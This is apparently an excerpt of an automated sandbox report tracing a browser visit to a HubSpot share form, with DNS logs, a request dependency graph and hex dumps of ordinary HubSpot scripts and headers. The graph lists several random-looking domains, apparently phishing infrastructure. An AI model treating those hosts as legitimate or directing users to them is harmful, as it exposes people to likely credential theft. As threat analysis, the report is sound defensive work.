Dec 16, 2024 18:46:23.675622940 CET	1.1.1.1	192.168.2.17	0x5d0c	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com		104.21.67.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:23.676224947 CET	1.1.1.1	192.168.2.17	0x524	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com			65	IN (0x0001)	false
Dec 16, 2024 18:46:40.044018984 CET	1.1.1.1	192.168.2.17	0xeafb	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:40.044018984 CET	1.1.1.1	192.168.2.17	0xeafb	No error (0)	www3.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:40.044914961 CET	1.1.1.1	192.168.2.17	0x1640	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

share.hsforms.com

https:

static.hsappstatic.net

js.hsforms.net

js.hs-scripts.com

js.hs-analytics.net

js.hs-banner.com

js.hscollectedforms.net

forms.hsforms.com

forms.hscollectedforms.net

track.hubspot.com

forms-na1.hsforms.com

48192692.fs1.hubspotusercontent-na1.net

qb06.ffcwygff.ru

code.jquery.com

cdn.prod.website-files.com

5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com

lh3.googleusercontent.com

www.google.com

i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com

a.nel.cloudflare.com

play.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49720	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:23 UTC	688	OUT	GET /1CW530LkrS821BfbeHP3L2wsoxpw HTTP/1.1 Host: share.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:23 UTC	1268	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Mon, 16 Dec 2024 09:40:08 UTC x-amz-server-side-encryption: AES256 x-amz-meta-ao: {"allowIFrame":"always"} x-amz-version-id: 4WEITm8H3sfexiXpul_gSKOtX94ovEeQ vary: origin x-cache: Hit from cloudfront via: 1.1 c5f8f8068a88ebb73e505f5e51b5262e.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: AtNFlPbxrSumACpfzVAOroT9Xh6DAMf2laCesmwYBSKKrXYXNdTyyw== Age: 26 access-control-allow-credentials: false Cache-Control: max-age=600 x-hs-target-asset: forms-submission-pages/static-1.5502/html/share.html x-content-type-options: nosniff x-hs-cache-status: HIT x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 60ae66f2-7a45-4168-a6d2-b61c8d3aa37d x-evy-trace-served-by-pod: iad02/star-td/envoy-proxy-5695886f75-gmvcb x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 60ae66f2-7a45-4168-a6d2-b61c8d3aa37d cache-tag: staticjsapp-forms-submission-pages-web-prod,staticjsapp-prod CF-Cache-Status: DYNAMIC
2024-12-16 17:45:23 UTC	584	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 32 6b 58 38 51 66 75 6e 71 77 42 6a 35 54 67 39 61 4e 71 49 4a 2e 58 41 4e 34 42 64 42 6a 35 6f 73 4f 70 6d 4e 43 54 79 59 5f 73 2d 31 37 33 34 33 37 31 31 32 33 2d 31 2e 30 2e 31 2e 31 2d 57 5a 72 52 4d 30 42 49 4f 36 46 75 6f 67 35 32 30 35 57 69 72 38 32 6e 74 4d 61 6d 49 32 47 48 6f 56 6a 49 77 6f 47 43 52 6e 53 4f 30 2e 4e 5a 41 48 36 55 37 32 66 61 66 72 6a 77 4f 71 63 58 5f 2e 32 77 71 37 77 57 2e 79 53 49 67 36 7a 51 70 79 78 32 52 77 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 31 36 2d 44 65 63 2d 32 34 20 31 38 3a 31 35 3a 32 33 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 Data Ascii: Set-Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; path=/; expires=Mon, 16-Dec-24 18:15:23 GMT; domain=.hsforms.com; HttpOnly; Secure;
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 33 34 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 68 73 61 70 70 73 74 61 74 69 63 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 3c 74 69 74 6c 65 3e 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 Data Ascii: 3470<!DOCTYPE html><html lang="en"><head><meta charSet="UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/><link rel="preconnect" href="https://static.hsappstatic.net" crossorigin="anonymous"/><title>Form</title><meta name="viewport"
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 2e 68 73 46 6f 72 6d 73 4f 6e 52 65 61 64 79 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 5f 68 73 71 20 3d 20 77 69 6e 64 6f 77 2e 5f 68 73 71 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 69 73 61 62 6c 65 64 48 73 50 6f 70 75 70 73 20 3d 20 5b 27 41 44 53 27 2c 20 27 4c 45 41 44 46 4c 4f 57 27 2c 20 27 4c 49 56 45 5f 43 48 41 54 27 2c 20 27 46 45 45 44 42 41 43 4b 27 2c 20 27 43 41 4c 4c 53 5f 54 4f 5f 41 43 54 49 4f 4e 27 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 51 61 20 3d 20 69 73 51 61 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 4c 6f 63 61 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 20 3d Data Ascii: .hsFormsOnReady = []; window._hsq = window._hsq \|\| []; window.disabledHsPopups = ['ADS', 'LEADFLOW', 'LIVE_CHAT', 'FEEDBACK', 'CALLS_TO_ACTION']; window.isQa = isQa; window.isLocal = window.location.hostname.split('.')[0] =
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 68 73 61 70 70 73 74 61 74 69 63 2e 6e 65 74 2f 66 6f 72 6d 73 2d 65 6d 62 65 64 2f 73 74 61 74 69 63 2f 62 75 6e 64 6c 65 73 2f 70 72 6f 6a 65 63 74 2d 76 33 2e 6a 73 27 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 61 70 69 48 75 62 73 70 6f 74 55 72 6c 20 3d 20 64 6f 6d 61 69 6e 42 75 69 6c 64 65 72 73 5b 27 61 70 69 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 27 5d 28 29 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 66 6f 72 6d 73 48 73 46 6f 72 6d 73 55 72 6c 20 3d 20 64 6f 6d 61 69 6e 42 75 69 6c 64 65 72 73 5b 27 66 6f 72 6d 73 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 28 29 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 3d 20 64 6f 6d Data Ascii: hsappstatic.net/forms-embed/static/bundles/project-v3.js' } }; window.apiHubspotUrl = domainBuilders['api.hubspot.com'](); window.formsHsFormsUrl = domainBuilders['forms.hsforms.com'](); window.jsHsFormsUrl = dom
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 61 6c 20 3f 20 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 3a 20 20 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 2b 20 27 2f 66 6f 72 6d 73 2f 65 6d 62 65 64 2f 27 20 2b 20 68 73 56 65 72 73 69 6f 6e 20 2b 20 27 2e 6a 73 27 3b 0a 20 20 20 20 20 20 20 20 73 63 72 69 70 74 4a 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 73 63 72 69 70 74 4a 73 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 0a 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6e 73 50 72 65 66 65 74 63 68 4a 73 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6e 73 50 72 65 66 65 74 63 68 46 6f 72 6d 73 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 Data Ascii: al ? jsHsFormsUrl : jsHsFormsUrl + '/forms/embed/' + hsVersion + '.js'; scriptJs.async = true; scriptJs.defer = true; document.head.appendChild(dnsPrefetchJs); document.head.appendChild(dnsPrefetchForms); document
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 20 3d 3d 3d 20 66 61 6c 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 68 61 73 48 72 65 66 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 75 72 6c 54 6f 47 6f 54 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 75 72 6c 54 6f 47 6f 54 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 Data Ascii: pportedBrowser === false) { if (hasHref) { window.location.href = urlToGoTo; } else { window.location = urlToGoTo; } } } } }
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 43 6f 64 65 41 74 28 69 6e 64 65 78 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 77 69 6e 64 6f 77 2e 55 69 6e 74 38 41 72 72 61 79 28 72 65 73 75 6c 74 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 56 65 72 73 69 6f 6e 46 72 6f 6d 53 79 6d 62 6f 6c 28 73 79 6d 62 6f 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 28 0a 20 20 20 20 20 20 20 20 20 20 70 61 72 73 65 49 6e 74 28 73 79 6d 62 6f 6c 2c 20 33 36 29 20 2b 0a 20 20 20 20 20 20 20 20 20 20 28 69 73 4e 61 4e 28 73 79 6d 62 6f 6c 20 2a 20 31 29 20 26 26 20 73 79 6d 62 6f 6c 20 3d 3d 3d 20 73 79 6d 62 6f 6c 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 20 3f 20 32 36 20 3a 20 30 29 0a 20 20 20 20 Data Ascii: CodeAt(index)); } return new window.Uint8Array(result); } function getVersionFromSymbol(symbol) { return ( parseInt(symbol, 36) + (isNaN(symbol * 1) && symbol === symbol.toUpperCase() ? 26 : 0)
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 72 69 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 65 67 61 63 79 55 75 69 64 20 3d 20 65 6e 63 6f 64 65 64 53 74 72 69 6e 67 2e 63 68 61 72 41 74 28 30 29 20 3d 3d 3d 20 4c 45 47 41 43 59 5f 55 55 49 44 5f 49 44 45 4e 54 49 46 49 45 52 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 6c 65 67 61 63 79 55 75 69 64 20 3f 20 32 20 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 66 6f 72 6d 47 75 69 64 20 3d 20 42 36 34 54 6f 55 75 69 64 28 0a 20 20 20 20 20 20 20 20 20 20 75 6e 65 73 63 61 70 65 42 61 73 65 36 34 28 65 6e 63 6f 64 65 64 53 74 72 69 6e 67 2e 73 75 62 73 74 72 69 6e 67 28 6f 66 66 73 65 74 2c 20 32 32 20 2b 20 6f 66 66 73 65 74 29 29 0a 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 Data Ascii: ring) { var legacyUuid = encodedString.charAt(0) === LEGACY_UUID_IDENTIFIER; var offset = legacyUuid ? 2 : 1; var formGuid = B64ToUuid( unescapeBase64(encodedString.substring(offset, 22 + offset)) ); retur
2024-12-16 17:45:23 UTC	1369	IN	Data Raw: 65 73 74 50 61 72 61 6d 73 2e 72 65 67 69 6f 6e 20 3d 20 67 65 74 48 75 62 6c 65 74 46 72 6f 6d 55 72 6c 28 29 3b 0a 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 72 65 71 75 65 73 74 50 61 72 61 6d 73 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2f 2f 20 47 65 74 20 46 6f 72 6d 20 72 65 71 75 65 73 74 20 70 61 72 61 6d 73 20 68 61 73 68 20 66 72 6f 6d 20 75 72 6c 0a 20 20 20 20 20 20 72 65 71 75 65 73 74 4f 62 6a 20 3d 20 70 61 72 73 65 52 65 71 75 65 73 74 50 61 72 61 6d 73 46 72 6f 6d 55 72 6c 28 29 3b 0a 0a 20 20 20 20 20 20 2f 2f 20 53 65 74 20 74 6f 20 67 6c 6f 62 61 6c 0a 20 20 20 20 20 20 52 65 71 75 65 73 74 50 61 72 61 6d 73 2e 70 6f 72 74 61 6c 49 64 20 3d 20 72 65 71 75 65 73 74 4f 62 6a 2e 70 6f 72 74 61 6c 49 64 3b 0a 20 20 20 20 20 Data Ascii: estParams.region = getHubletFromUrl(); return requestParams; } // Get Form request params hash from url requestObj = parseRequestParamsFromUrl(); // Set to global RequestParams.portalId = requestObj.portalId;
2024-12-16 17:45:24 UTC	1369	IN	Data Raw: 27 20 7d 29 3b 0a 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 30 2c 20 30 29 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 72 65 61 74 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 20 3d 20 77 69 6e 64 6f 77 2e 68 62 73 70 74 2e 66 6f 72 6d 73 2e 63 72 65 61 74 65 28 63 6f 6e 74 65 78 74 29 3b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 2e 6f 6e 28 27 6f 6e 46 6f 72 6d 52 65 61 64 79 27 2c 20 75 70 64 61 74 65 48 74 6d 6c 4c 61 6e 67 29 3b 0a 20 20 20 20 20 20 69 6e 73 74 61 6e 63 65 2e 6f 6e 28 27 6f 6e 50 61 67 65 43 68 61 6e 67 65 27 2c 20 73 63 72 6f 6c 6c 54 6f 54 6f 70 29 3b 0a 20 20 20 20 20 Data Ascii: ' }); } catch (e) { window.scrollTo(0, 0); } } create = function () { instance = window.hbspt.forms.create(context); instance.on('onFormReady', updateHtmlLang); instance.on('onPageChange', scrollToTop);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49730	104.17.172.91	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:25 UTC	615	OUT	GET /forms-submission-pages/static-1.5502/bundles/share-legacy.js HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.hsforms.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:25 UTC	1305	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:25 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-allow-methods: GET access-control-max-age: 3000 x-amz-replication-status: COMPLETED last-modified: Mon, 16 Dec 2024 03:21:37 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: z9PfmeMFNNrwSiGNzWxJ_J6GzJiTe1Sd etag: W/"67ae0b5051fa137007227bdfddbbdafe" x-cache: Miss from cloudfront via: 1.1 5ee8fb3fa2d9e2b4c274a8647312261e.cloudfront.net (CloudFront) x-amz-cf-pop: BOS50-P4 x-amz-cf-id: wq1JtOMbUJER74kQcE0oRSfPz5vss5NxU-oD8zST2V1VzD2qoPr7Bw== CF-Cache-Status: HIT Age: 29098 Expires: Tue, 16 Dec 2025 17:45:25 GMT Cache-Control: public, max-age=31536000 Set-Cookie: __cf_bm=abuRxmq5FNrLIPjc.0Tep4b4JJeUtmqu1dwLAqaKmSM-1734371125-1.0.1.1-MW0UHKv6F0srv5CBvmY9noMxKZh8.98BUtQbodmyVGrTCCcwcqtAwvSfnG8jqkakQUeTXCY2yxK_eOd5MVEW.w; path=/; expires=Mon, 16-Dec-24 18:15:25 GMT; domain=.hsappstatic.net; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MysPpwoDxJl826NZAqoCuWZMENsdwvwEQpWvg3fbVxwio1nD4dwpifiHpDojpd8X715XPWy6l1OO5bi%2FWMQnEQlbSxMLn7klbPpoHd%2F%2BWny3kB9hw5CjOlyeXKCgAS1gfo0aaLYcIHU%3D"}],"group":"cf-nel","max_age":604800}
2024-12-16 17:45:25 UTC	286	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 3b 20 70 72 65 6c 6f 61 64 0d 0a 76 61 72 79 3a 20 4f 72 69 67 69 6e 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 48 65 61 64 65 72 73 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 4d 65 74 68 6f 64 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadvary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-MethodServer: cloudflareC
2024-12-16 17:45:25 UTC	1147	IN	Data Raw: 63 36 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 22 68 73 66 6f 72 6d 73 22 2c 72 3d 7b 68 73 66 6f 72 6d 73 3a 7b 70 72 6f 64 3a 22 68 73 66 6f 72 6d 73 2e 63 6f 6d 22 2c 71 61 3a 22 68 73 66 6f 72 6d 73 71 61 2e 63 6f 6d 22 7d 7d 2c 6e 3d 22 73 68 61 72 65 22 2c 6f 3d 22 73 75 72 76 65 79 22 2c 65 3d 7b 5b 6e 5d 3a 22 73 68 61 72 65 22 2c 5b 6f 5d 3a 22 73 75 72 76 65 79 22 7d 2c 73 3d 74 3d 3e 74 26 26 22 6e 61 31 22 21 3d 3d 74 3f 60 2d 24 7b 74 7d 60 3a 22 22 2c 61 3d 74 3d 3e 22 6c 6f 63 61 6c 22 3d 3d 3d 74 7c 7c 22 71 61 22 3d 3d 3d 74 3f 22 71 61 22 3a 22 70 72 6f 64 22 2c 69 3d 74 3d 3e 65 5b 74 5d 2c 63 3d 28 74 2c 6e 29 3d 3e 72 5b 74 5d 5b 61 28 6e 29 5d 2c 75 3d 28 72 2c 6e 3d Data Ascii: c6a!function(){"use strict";const t="hsforms",r={hsforms:{prod:"hsforms.com",qa:"hsformsqa.com"}},n="share",o="survey",e={[n]:"share",[o]:"survey"},s=t=>t&&"na1"!==t?`-${t}`:"",a=t=>"local"===t\|\|"qa"===t?"qa":"prod",i=t=>e[t],c=(t,n)=>r[t][a(n)],u=(r,n=
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 74 2c 72 29 3d 3e 74 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 60 5c 5c 24 7b 72 5b 30 5d 7d 60 2c 22 67 22 29 2c 72 5b 31 5d 29 29 2c 74 29 2c 49 3d 74 3d 3e 77 2e 72 65 64 75 63 65 28 28 28 74 2c 72 29 3d 3e 74 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 60 5c 5c 24 7b 72 5b 31 5d 7d 60 2c 22 67 22 29 2c 72 5b 30 5d 29 29 2c 74 29 2c 53 3d 74 3d 3e 70 2e 74 65 73 74 28 74 29 2c 43 3d 74 3d 3e 70 61 72 73 65 49 6e 74 28 74 2c 33 36 29 2b 28 69 73 4e 61 4e 28 31 2a 74 29 26 26 74 3d 3d 3d 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3f 32 36 3a 30 29 2c 46 3d 28 29 3d 3e 6c 3c 33 36 3f 6c 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 3a 28 6c 2d 32 36 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 2e 74 6f 55 70 70 65 72 43 61 73 65 Data Ascii: t,r)=>t.replace(new RegExp(`\\${r[0]}`,"g"),r[1])),t),I=t=>w.reduce(((t,r)=>t.replace(new RegExp(`\\${r[1]}`,"g"),r[0])),t),S=t=>p.test(t),C=t=>parseInt(t,36)+(isNaN(1*t)&&t===t.toUpperCase()?26:0),F=()=>l<36?l.toString(36):(l-26).toString(36).toUpperCase
2024-12-16 17:45:25 UTC	669	IN	Data Raw: 72 65 67 69 6f 6e 3d 4e 28 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 42 28 29 7b 63 6f 6e 73 74 20 74 3d 6b 28 29 3b 72 65 74 75 72 6e 20 76 28 74 2e 66 6f 72 6d 47 75 69 64 2c 74 2e 70 6f 72 74 61 6c 49 64 2c 51 28 29 2c 74 2e 72 65 67 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b 72 65 74 75 72 6e 20 5f 28 29 3f 42 28 29 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 63 6f 6e 73 74 20 4a 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 5f 68 73 71 2c 4b 3d 28 29 3d 3e 77 69 6e 64 6f 77 2e 48 75 62 53 70 6f 74 46 6f 72 6d 73 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 4a 28 29 2e 70 75 73 68 28 5b 22 73 65 74 43 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 2c 44 28 29 5d 29 3b 4b 28 29 2e 6f 6e Data Ascii: region=N();return t}function B(){const t=k();return v(t.formGuid,t.portalId,Q(),t.region)}function D(){return _()?B():window.location.href}const J=()=>window._hsq,K=()=>window.HubSpotForms;!function(t){function r(){J().push(["setCanonicalUrl",D()]);K().on
2024-12-16 17:45:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49731	104.18.142.119	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:25 UTC	532	OUT	GET /forms/embed/v3.js HTTP/1.1 Host: js.hsforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:25 UTC	1334	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:25 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:46:41 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: NleS4zhpR.RgCyKUKjNliOHGyZMPXoaR etag: W/"9045150ea546201948ca19ee2f5bfd0b" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 c13d71f8919c23db6bbd1c08a4dfb350.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: lUrSNupvw9KxkSLfXTsnR9Pqk6srQhHcPqTUOSSfcusic5ZgUGC89w== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=forms-embed/static-1.6926/bundles/project-v3.js&cfRay=8f11614c36a9ad83-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: forms-embed/static-1.6926/bundles/project-v3.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: HIT x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 5ca3813e-e124-4b61-bea7-7534677f77a1 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-9vk2x x-evy-trace-listener: listener_https 